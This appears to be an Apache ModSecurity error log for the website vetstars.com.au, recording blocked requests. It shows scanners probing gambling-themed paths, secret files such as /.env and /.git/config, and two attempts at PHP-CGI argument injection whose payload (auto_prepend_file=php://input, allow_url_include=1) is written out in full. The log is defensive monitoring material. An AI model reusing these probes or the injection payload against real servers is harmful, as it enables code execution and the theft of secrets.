[Tue Feb 03 00:35:45.698410 2026] [:error] [pid 56989:tid 57014] [client 65.108.2.171:20964] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aYDSYUp44HnChN-GZlhIPQAAAhc"]
[Tue Feb 03 00:35:48.280249 2026] [:error] [pid 57080:tid 57109] [client 65.108.2.171:20980] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aYDSZI9Utn0ZlfnF10OA4QAAAtY"]
[Tue Feb 03 00:35:50.858314 2026] [:error] [pid 63034:tid 63141] [client 65.108.2.171:20996] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aYDSZuKXlgw75_wfbHoMHAAAAJc"]
[Tue Feb 03 00:35:53.430919 2026] [:error] [pid 56989:tid 56991] [client 65.108.2.171:21012] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aYDSaUp44HnChN-GZlhIRgAAAgA"]
[Tue Feb 03 00:35:56.005397 2026] [:error] [pid 57022:tid 57059] [client 65.108.2.171:3202] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aYDSbBnEgLMzfcurxflxRQAAAoc"]
[Tue Feb 03 00:35:58.604037 2026] [:error] [pid 46008:tid 46010] [client 65.108.2.171:3216] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aYDSbiRa52iYn7SlSMnOqQAAAUA"]
[Tue Feb 03 00:36:01.191545 2026] [:error] [pid 33612:tid 33617] [client 65.108.2.171:3230] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aYDScctFn80qQEmo5QorOwAAAQM"]
[Tue Feb 03 00:36:03.800950 2026] [:error] [pid 57080:tid 57103] [client 65.108.2.171:3236] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aYDSc49Utn0ZlfnF10OA6gAAAtA"]
[Tue Feb 03 07:08:36.995608 2026] [:error] [pid 43028:tid 43036] [client 43.130.150.80:41784] [client 43.130.150.80] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYEudFnHWnJD4cJC5DunKwAAAMY"]
[Tue Feb 03 10:54:40.620986 2026] [authz_core:error] [pid 42922:tid 42992] [client 64.225.75.246:51222] AH01630: client denied by server configuration: /home/vetstars/public_html/server-status
[Tue Feb 03 10:54:40.733537 2026] [authz_core:error] [pid 28720:tid 28738] [client 159.65.144.72:33742] AH01630: client denied by server configuration: /home/vetstars/public_html/server-status
[Tue Feb 03 10:54:50.483223 2026] [:error] [pid 43028:tid 43047] [client 64.225.75.246:34838] [client 64.225.75.246] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env"] [unique_id "aYFjelnHWnJD4cJC5Dv2HAAAANE"]
[Tue Feb 03 10:54:50.522822 2026] [:error] [pid 28720:tid 28745] [client 159.65.144.72:44160] [client 159.65.144.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aYFjemmRXm2bmr_sYiYvywAAARc"]
[Tue Feb 03 10:54:55.675138 2026] [:error] [pid 42921:tid 42966] [client 159.65.144.72:58966] [client 159.65.144.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aYFjf4blShffGl-01ofjIQAAAEg"]
[Tue Feb 03 10:54:55.804832 2026] [:error] [pid 5229:tid 5242] [client 64.225.75.246:34852] [client 64.225.75.246] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "aYFjf0KmEgmJub93yUoNggAAAYs"]
[Tue Feb 03 10:55:14.369211 2026] [:error] [pid 28720:tid 28737] [client 159.65.144.72:43150] [client 159.65.144.72] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd cgi.force_redirect=0 \\xadd disable_functions="" \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||vetstars.com.au|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd cgi.force_redirect=0 \\x5cxadd disable_functions=\\x22\\x22 \\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd cgi.force_redirect=0 \\xadd disable_functions=\\x22\\x22 \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "vetstars.com.au"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aYFjkmmRXm2bmr_sYiYv4gAAAQ8"]
[Tue Feb 03 10:55:14.783084 2026] [:error] [pid 5229:tid 5232] [client 64.225.75.246:44554] [client 64.225.75.246] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd cgi.force_redirect=0 \\xadd disable_functions="" \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||www.vetstars.com.au|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd cgi.force_redirect=0 \\x5cxadd disable_functions=\\x22\\x22 \\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd cgi.force_redirect=0 \\xadd disable_functions=\\x22\\x22 \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "www.vetstars.com.au"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aYFjkkKmEgmJub93yUoNmgAAAYE"]
[Tue Feb 03 12:39:47.953573 2026] [:error] [pid 5229:tid 5233] [client 103.4.122.14:48116] [client 103.4.122.14] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "192.252.209.155_e7f7872d1f072df13adde147b911fb7b6f889d07"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-cron.php"] [unique_id "aYF8EEKmEgmJub93yUo7lAAAAYI"]
[Tue Feb 03 13:21:32.861489 2026] [:error] [pid 42922:tid 42991] [client 185.231.100.76:60020] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aYGF3GazX4WPS_dQRkgrDQAAAIY"]
[Tue Feb 03 13:21:35.488310 2026] [:error] [pid 43028:tid 43038] [client 185.231.100.76:33018] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aYGF31nHWnJD4cJC5Dsf5gAAAMg"]
[Tue Feb 03 13:21:38.089472 2026] [:error] [pid 42922:tid 42985] [client 185.231.100.76:33024] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aYGF4mazX4WPS_dQRkgrHgAAAIA"]
[Tue Feb 03 13:21:40.684625 2026] [:error] [pid 42920:tid 42952] [client 185.231.100.76:33040] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aYGF5Cix3YKltG4EU0kVmwAAABc"]
[Tue Feb 03 13:21:43.296977 2026] [:error] [pid 28720:tid 28731] [client 185.231.100.76:33050] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aYGF52mRXm2bmr_sYiZaCQAAAQk"]
[Tue Feb 03 13:21:46.042031 2026] [:error] [pid 42922:tid 43005] [client 185.231.100.76:36576] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aYGF6mazX4WPS_dQRkgrKAAAAJQ"]
[Tue Feb 03 13:21:48.811042 2026] [:error] [pid 28720:tid 28744] [client 185.231.100.76:36588] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aYGF7GmRXm2bmr_sYiZaFgAAARY"]
[Tue Feb 03 13:21:51.431089 2026] [:error] [pid 5148:tid 5162] [client 185.231.100.76:36604] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aYGF7783HCHLtUIbS7JcwAAAAUs"]
[Tue Feb 03 13:21:54.048535 2026] [:error] [pid 43028:tid 43031] [client 185.231.100.76:55582] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aYGF8lnHWnJD4cJC5DsgAQAAAME"]
[Tue Feb 03 13:21:56.832201 2026] [:error] [pid 42920:tid 42940] [client 185.231.100.76:55584] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aYGF9Cix3YKltG4EU0kVtQAAAAs"]
[Tue Feb 03 13:21:59.618978 2026] [:error] [pid 42921:tid 42963] [client 185.231.100.76:55590] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aYGF94blShffGl-01ocKGwAAAEU"]
[Tue Feb 03 13:22:02.380995 2026] [:error] [pid 42922:tid 43003] [client 185.231.100.76:55602] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aYGF-mazX4WPS_dQRkgrQQAAAJI"]
[Tue Feb 03 13:22:05.006179 2026] [:error] [pid 5229:tid 5244] [client 185.231.100.76:35336] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aYGF_UKmEgmJub93yUpN1wAAAY0"]
[Tue Feb 03 13:22:07.770626 2026] [:error] [pid 5148:tid 5171] [client 185.231.100.76:35356] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aYGF_783HCHLtUIbS7Jc1wAAAVQ"]
[Tue Feb 03 13:22:10.525637 2026] [:error] [pid 42921:tid 42965] [client 185.231.100.76:35376] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aYGGAoblShffGl-01ocKJgAAAEc"]
[Tue Feb 03 13:22:13.310896 2026] [:error] [pid 43028:tid 43054] [client 185.231.100.76:35386] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aYGGBVnHWnJD4cJC5DsgIgAAANg"]
[Tue Feb 03 13:22:15.940698 2026] [:error] [pid 42920:tid 42933] [client 185.231.100.76:59582] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aYGGByix3YKltG4EU0kVxQAAAAQ"]
[Tue Feb 03 13:22:18.572411 2026] [:error] [pid 5229:tid 5252] [client 185.231.100.76:59584] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aYGGCkKmEgmJub93yUpN6QAAAZU"]
[Tue Feb 03 13:22:21.204016 2026] [:error] [pid 42922:tid 42988] [client 185.231.100.76:59608] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aYGGDWazX4WPS_dQRkgrWAAAAIM"]
[Tue Feb 03 13:22:23.719801 2026] [:error] [pid 5148:tid 5165] [client 185.231.100.76:33488] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aYGGD783HCHLtUIbS7Jc8AAAAU4"]
[Tue Feb 03 13:22:26.198321 2026] [:error] [pid 42922:tid 42995] [client 185.231.100.76:33512] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aYGGEmazX4WPS_dQRkgrXAAAAIo"]
[Tue Feb 03 13:22:56.556710 2026] [:error] [pid 42920:tid 42933] [client 185.231.100.76:33522] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aYGGMCix3YKltG4EU0kWAAAAAAQ"]
[Tue Feb 03 13:22:59.175828 2026] [:error] [pid 42921:tid 42961] [client 185.231.100.76:59930] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aYGGM4blShffGl-01ocKUwAAAEM"]
[Tue Feb 03 13:23:01.948998 2026] [:error] [pid 42920:tid 42935] [client 185.231.100.76:59942] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aYGGNSix3YKltG4EU0kWCAAAAAY"]
[Tue Feb 03 13:23:04.623991 2026] [:error] [pid 5148:tid 5167] [client 185.231.100.76:50710] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aYGGOL83HCHLtUIbS7JdKAAAAVA"]
[Tue Feb 03 13:23:07.501830 2026] [:error] [pid 42920:tid 42932] [client 185.231.100.76:50722] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aYGGOyix3YKltG4EU0kWEAAAAAM"]
[Tue Feb 03 13:23:10.296138 2026] [:error] [pid 28720:tid 28735] [client 185.231.100.76:50724] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYGGPmmRXm2bmr_sYiZafwAAAQ0"]
[Tue Feb 03 13:23:13.250656 2026] [:error] [pid 42921:tid 42980] [client 185.231.100.76:50740] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYGGQYblShffGl-01ocKZAAAAFY"]
[Tue Feb 03 13:23:15.950978 2026] [:error] [pid 5229:tid 5243] [client 185.231.100.76:58546] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYGGQ0KmEgmJub93yUpOLAAAAYw"]
[Tue Feb 03 13:23:18.807788 2026] [:error] [pid 5229:tid 5236] [client 185.231.100.76:58572] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYGGRkKmEgmJub93yUpONgAAAYU"]
[Tue Feb 03 13:23:21.476620 2026] [:error] [pid 42922:tid 43009] [client 185.231.100.76:58586] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aYGGSWazX4WPS_dQRkgrtQAAAJg"]
[Tue Feb 03 13:23:24.101795 2026] [:error] [pid 28720:tid 28745] [client 185.231.100.76:41756] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYGGTGmRXm2bmr_sYiZaoAAAARc"]
[Tue Feb 03 13:23:26.566395 2026] [:error] [pid 5229:tid 5234] [client 185.231.100.76:41766] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aYGGTkKmEgmJub93yUpORgAAAYM"]
[Tue Feb 03 13:23:29.180429 2026] [:error] [pid 42920:tid 42935] [client 185.231.100.76:41780] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aYGGUSix3YKltG4EU0kWIAAAAAY"]
[Tue Feb 03 13:23:31.951361 2026] [:error] [pid 42921:tid 42976] [client 185.231.100.76:41796] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aYGGU4blShffGl-01ocKiAAAAFI"]
[Tue Feb 03 13:23:34.587992 2026] [:error] [pid 42920:tid 42950] [client 185.231.100.76:32818] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aYGGViix3YKltG4EU0kWKgAAABU"]
